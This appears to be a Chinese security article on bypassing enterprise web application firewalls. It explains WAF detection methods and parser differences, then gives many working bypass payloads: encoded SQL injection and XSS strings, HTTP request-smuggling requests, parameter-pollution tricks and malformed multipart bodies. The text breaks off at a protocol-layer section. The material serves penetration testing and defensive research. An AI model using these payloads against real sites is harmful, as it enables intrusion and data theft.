企业级WAF绕过技术深度研究
文章探讨了企业级WAF的工作原理及检测机制,并分析了主流产品的绕过技术,包括HTTP解析差异、归一化不一致、编码混淆等方法。 2025-10-10 05:17:43 Author: www.freebuf.com(查看原文) 阅读量:4 收藏

前言

Web应用防火墙(WAF)作为现代企业Web安全架构的核心组件,在防御SQL注入、XSS、RCE等常见攻击中扮演着关键角色。然而,随着攻防技术的不断演进,针对企业级WAF的绕过技术也在持续发展。本文基于最新的学术研究和实战案例,系统性地梳理了当前主流WAF产品的绕过技术,旨在为安全研究人员和渗透测试工程师提供技术参考。

一、WAF工作原理与检测机制

1.1 WAF架构与部署模式

企业级WAF通常采用以下三种部署模式: 网络型WAF(Network-based)

  • 部署在网络边界,以硬件设备或专用服务器形式存在
  • 保护整个网络内的所有Web应用
  • 典型代表:F5 BIG-IP ASM、Imperva SecureSphere

主机型WAF(Host-based)

  • 部署在Web服务器上,以软件形式运行
  • 仅保护部署节点上的应用
  • 典型代表:ModSecurity、NAXSI

云托管WAF(Cloud-hosted)

  • 作为SaaS服务提供,由第三方管理基础设施
  • 保护任意位置的Web应用
  • 典型代表:Cloudflare、AWS WAF、Azure WAF、Akamai

1.2 核心检测机制

现代WAF采用多层检测机制:

1.2.1 基于签名的检测(Signature-Based Detection)

工作原理:

  • 维护已知攻击模式数据库(字符串或正则表达式)
  • 将请求元素(URL、Headers、Body)与签名库匹配
  • 典型规则集:OWASP CRS(Core Rule Set)

优势:

  • 对已知攻击检测准确率高
  • 处理开销相对较低
  • 误报率低

典型规则示例:

if url_parameter "user_input" contains "UNION SELECT"then block

1.2.2 基于规则的过滤(Rule-Based Filtering)

负向安全模型(Blacklisting):

  • 定义禁止的内容
  • 默认允许所有流量,仅阻止匹配黑名单的请求
  • 易于初始部署,但容易被绕过

正向安全模型(Whitelisting):

  • 定义允许的内容
  • 默认拒绝所有流量,仅允许符合白名单的请求
  • 安全性高,但配置复杂,维护成本高

1.2.3 异常检测(Anomaly Detection)

工作原理:

  • 学习应用正常流量基线
  • 标记偏离基线的异常请求

优势:

  • 可检测0day攻击
  • 自适应应用特性

1.2.4 基于AI/ML的检测

工作原理:

  • 使用机器学习模型(随机森林、SVM、神经网络)
  • 基于海量流量数据训练分类模型
  • 实时对新请求进行分类

优势:

  • 高准确率检测复杂和0day攻击
  • 可持续学习适应

二、主流企业级WAF产品解析

2.1 国外主流WAF产品


WAF产品| 厂商| 部署类型| 核心规则集| 市占率
Cloudflare WAF| Cloudflare| Cloud| Managed + OWASP CRS| 高
AWS WAF| Amazon| Cloud| AWS Managed Rules + OWASP CRS| 高
Azure WAF| Microsoft| Cloud| DRS 2.1 (基于 CRS 3.2)| 高
Google Cloud Armor| Google| Cloud| ModSecurity + 自定义规则| 中
F5 BIG-IP ASM| F5 Networks| Network/Virtual| Rapid Deployment Policy| 高
ModSecurity| Trustwave/OWASP| Host/Network| OWASP CRS| 高
Imperva WAF| Imperva| Cloud/Network/Host| ThreatRadar + 自定义| 中
Akamai Kona| Akamai| Cloud| Adaptive Security Engine| 高
Fortinet FortiWeb| Fortinet| Network/Virtual| Extended Protection| 中

2.2 OWASP CRS (Core Rule Set)

OWASP CRS是WAF领域最广泛使用的开源规则集,被大量商业WAF采用作为基础规则。 覆盖的攻击类型:

  • SQL注入(SQLi)
  • 跨站脚本(XSS)
  • 本地文件包含(LFI)
  • 远程文件包含(RFI)
  • 远程代码执行(RCE)
  • PHP注入
  • Session固定
  • HTTP协议违规
  • 恶意扫描器检测

版本演进:

  • CRS 2.x(已停止维护)
  • CRS 3.0~3.2(广泛使用)
  • CRS 3.3+(当前版本)
  • CRS 4.0(Next Generation)

偏执等级(Paranoia Level):

  • PL1:基础防护,误报率低
  • PL2:增强防护
  • PL3:严格防护
  • PL4:最大防护,误报率高

三、解析差异:WAF绕过的核心原理

3.1 HTTP解析差异(Parser Differential)

核心概念: WAF与后端应用对同一HTTP请求的理解不一致,是绕过的根本原因。 产生原因:

  • WAF与应用使用不同的HTTP解析库
  • RFC标准存在模糊性和歧义
  • 实现细节差异
  • 性能与安全的权衡

典型场景:

场景1:Content-Type解析差异

WAF可能仅检查application/x-www-form-urlencoded,而后端同时接受multipart/form-data:

POST /api/search HTTP/1.1Content-Type: multipart/form-data; boundary=----Boundary------BoundaryContent-Disposition: form-data; name="query"' UNION SELECT password FROM users--------Boundary--

90%以上的网站可互换接受这两种Content-Type,但WAF检测规则可能不同步。 为了方便大家理解,大家可以感受下两者差异: 图片

场景2:参数处理差异

GET /search?q=safe&q=malicious

不同技术栈对重复参数的处理:

技术栈| 处理方式
PHP| 使用最后一个值
ASP.NET| 用逗号连接所有值
Java Servlet| 返回数组
Python Flask| 使用第一个值(默认)
Node.js Express| 返回数组或字符串
WAF如果仅检查第一个参数而后端使用最后一个,攻击即可绕过。

3.2 归一化不一致(Normalization Inconsistency)

核心问题: WAF在应用检测规则前必须对请求进行归一化(解码、规范化路径等),如果归一化逻辑与后端不一致,会产生绕过。 常见不一致: URL编码层级:

%253Cscript%253E  (双重URL编码)↓ WAF解码一次%3Cscript%3E↓ 后端再解码<script>

Unicode归一化:

\u003Cscript\u003E  (Unicode编码)→ 后端解码为: <script>

路径规范化:

/path/./to/../file.php→ WAF可能不规范化→ 后端规范化为: /path/file.php

四、高级WAF绕过技术

4.1 编码与混淆技术矩阵

4.1.1 URL编码变种

单次编码:

< 转换为 %3C> 转换为 %3E

双重编码:

< 转换为 %253C

混合编码:

<script> 转换为 %3Cscript%3E<script> 转换为 <scr%69pt>

大小写变种:

%3c %3C (某些WAF区分大小写)

4.1.2 Unicode编码技巧

JavaScript Context:

\u003Cscript\u003E\u{3c}script\u{3e}  // ES6语法

HTML Entity:

&lt;script&gt;<[](javascript:;);script>[](javascript:;);<[](javascript:;);script>[](javascript:;);

UTF-7编码:

+ADw-script+AD4-

UTF-32 Overlong:

∀㸀㰀script㸀alert(1)㰀/script㸀

结合Accept-Charset: utf-32头部,浏览器用UTF-8解码后触发XSS。

4.1.3 SQL注入编码

十六进制编码:

SELECT 转换为 0x53454C454354

字符函数:

CHAR(83,69,76,69,67,84) =SELECT

注释分割:

SEL/*comment*/ECTSE/**/LECT

大小写混淆:

SeLeCtsELEct

空白字符替换:

SELECT\x09*\x0AFROM\x0Dusers  (Tab, LF, CR)

4.1.4 字符集利用

IBM037/IBM500编码(IIS):

原始: id='union select * from users--IBM037: %89%84=%7D%A4%95%89%96%95%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

ASP.NET支持IBM字符集,可绕过不支持此编码的WAF。

4.2 HTTP请求走私(HTTP Request Smuggling)

4.2.1 原理

利用前端(WAF/代理)和后端服务器对请求边界理解的差异,将恶意请求"走私"到后端。 核心:CL与TE的优先级差异

Content-Length (CL): 指定body长度(字节)Transfer-Encoding: chunked (TE): 分块传输

HTTP规范对同时存在CL和TE时的处理存在模糊性,导致不同实现的差异。

4.2.2 CL.TE攻击

前端使用Content-Length,后端使用Transfer-Encoding

POST / HTTP/1.1Host: vulnerable.comContent-Length: 6Transfer-Encoding: chunked0G

前端认为body长度为6字节,读取0\r\n\r\nG,请求结束。 后端使用chunked编码,读取0\r\n\r\n(长度0的chunk表示结束),剩余的G被当作下一个请求的开头。 攻击载荷示例:

POST / HTTP/1.1Host: vulnerable.comContent-Length: 4Transfer-Encoding: chunked5cGET /admin HTTP/1.1Host: vulnerable.comContent-Type: application/x-www-form-urlencodedContent-Length: 10x=0

4.2.3 TE.CL攻击

前端使用Transfer-Encoding,后端使用Content-Length

POST / HTTP/1.1Host: vulnerable.comContent-Length: 4Transfer-Encoding: chunked5cGET /admin HTTP/1.1X:0

4.2.4 TE.TE攻击(混淆TE头)

Transfer-Encoding: chunkedTransfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunkedTransfer-Encoding:[tab]chunked

一侧识别为chunked,另一侧忽略,产生解析差异。 危害:

  • 绕过WAF规则(走私的请求未被检测)
  • 缓存投毒
  • 会话劫持
  • 请求劫持

4.3 HTTP参数污染(HTTP Parameter Pollution - HPP)

4.3.1 ASP.NET参数拼接

行为: ASP.NET使用逗号连接同名参数的所有值。

/?q=1'&q=alert(1)&q='2→ 后端: q = "1',alert(1),'2"

在JavaScript上下文中:

var query = '1',alert(1),'2';

逗号操作符使得alert(1)被执行。 WAF绕过实例: 原始阻断:

/?q=';alert(1);//

HPP绕过:

/?q=1'+1;let+asd=window&q=def='al'+'ert'+;asd[def](1&q=2);'

ASP.NET拼接后:

q = "1'+1;let asd=window,def='al'+'ert'+;asd[def](1,2);'"

4.3.2 跨技术栈差异利用

PHP后端:

// PHP使用最后一个参数$id = $_GET['id'];  // 获取最后一个id值

攻击:

/?id=safe&id=' OR 1=1--

WAF检查第一个id=safe(安全),PHP使用最后一个id=' OR 1=1--(恶意)。

4.4 基于Content-Type的绕过

4.4.1 JSON-Based SQL注入

研究背景: 2022年,Claroty Team82发现多个主流WAF(Palo Alto、AWS、Cloudflare、F5、Imperva)不支持JSON语法检测。 绕过技术: 标准SQLi被阻断:

' UNION SELECT username, password FROM users--

JSON函数绕过:

' OR JSON_LENGTH("{}") <= 8896 UNION SELECT @@version#

PostgreSQL JSON函数:

' OR (SELECT json_agg(password) FROM users)::text LIKE '%admin%'--

MySQL JSON函数:

' OR JSON_EXTRACT('{"a":"<script>alert(1)</script>"}','$.a')--

攻击流程:

  1. 数据库支持JSON函数(PostgreSQL、MySQL、SQLite、MSSQL)
  2. WAF规则未涵盖JSON语法
  3. 恶意SQL隐藏在JSON函数调用中
  4. 绕过检测,攻击成功执行

4.4.2 Multipart/Form-Data解析差异

根据WAFFLED研究,multipart content-type存在大量解析差异攻击面。 Boundary参数延续: RFC 2231允许通过多个参数表示单个参数值:

Content-Type: multipart/form-data;  boundary=fake-boundary;  boundary*0=real-;  boundary*1=boundary

WAF取第一个boundary(fake-boundary), 后端拼接为real-boundary,导致解析差异。 完整攻击载荷:

POST /upload HTTP/1.1Content-Type: multipart/form-data;  boundary=fake-boundary;  boundary*0=real-;  boundary*1=boundary--fake-boundaryContent-Disposition: form-data; name="field1"safe_value--fake-boundary----real-boundaryContent-Disposition: form-data; name="id"<script>alert(document.cookie)</script>--real-boundary--

WAF检查fake-boundary之间的内容(安全), 后端解析real-boundary之间的内容(恶意)。 其他Multipart绕过类别: Boundary分隔符操作:

\r\n--boundary  (移除\r\n)

Content-Disposition破坏:

content-disposition: form-da\x00a; name="file"

畸形头部注入:

conten\x00-extra: somethingContent-Type: text/plain\x00

字符集变更:

Content-Type: text/plain; charset=\x00UTF-8

换行符移除:

Content-Type: multipart/form-data; boundary=test\r\n\r\n(紧接body,无空行)

4.4.3 XML外部实体注入绕过

Extra Field Addition:

<?xml version="1.0"?><root><field1>value1</field1><field2attr="bypass">XXE_PAYLOAD</field2></root>

DOCTYPE Closure Confusion:

<!DOCTYPE root [...]><field1>XXE</field1>]</root>

Schema操作:

<genre:schema><field1>XXE_PAYLOAD</field1>invalid_char</genre:schema>

Content-Type头移除:

POST /api HTTP/1.1Host: target.com(无Content-Type头,或修改为其他值)<?xml>...</xml>

4.5 协议层绕过


文章来源: https://www.freebuf.com/articles/web/452137.html
如有侵权请联系:admin#unsafe.sh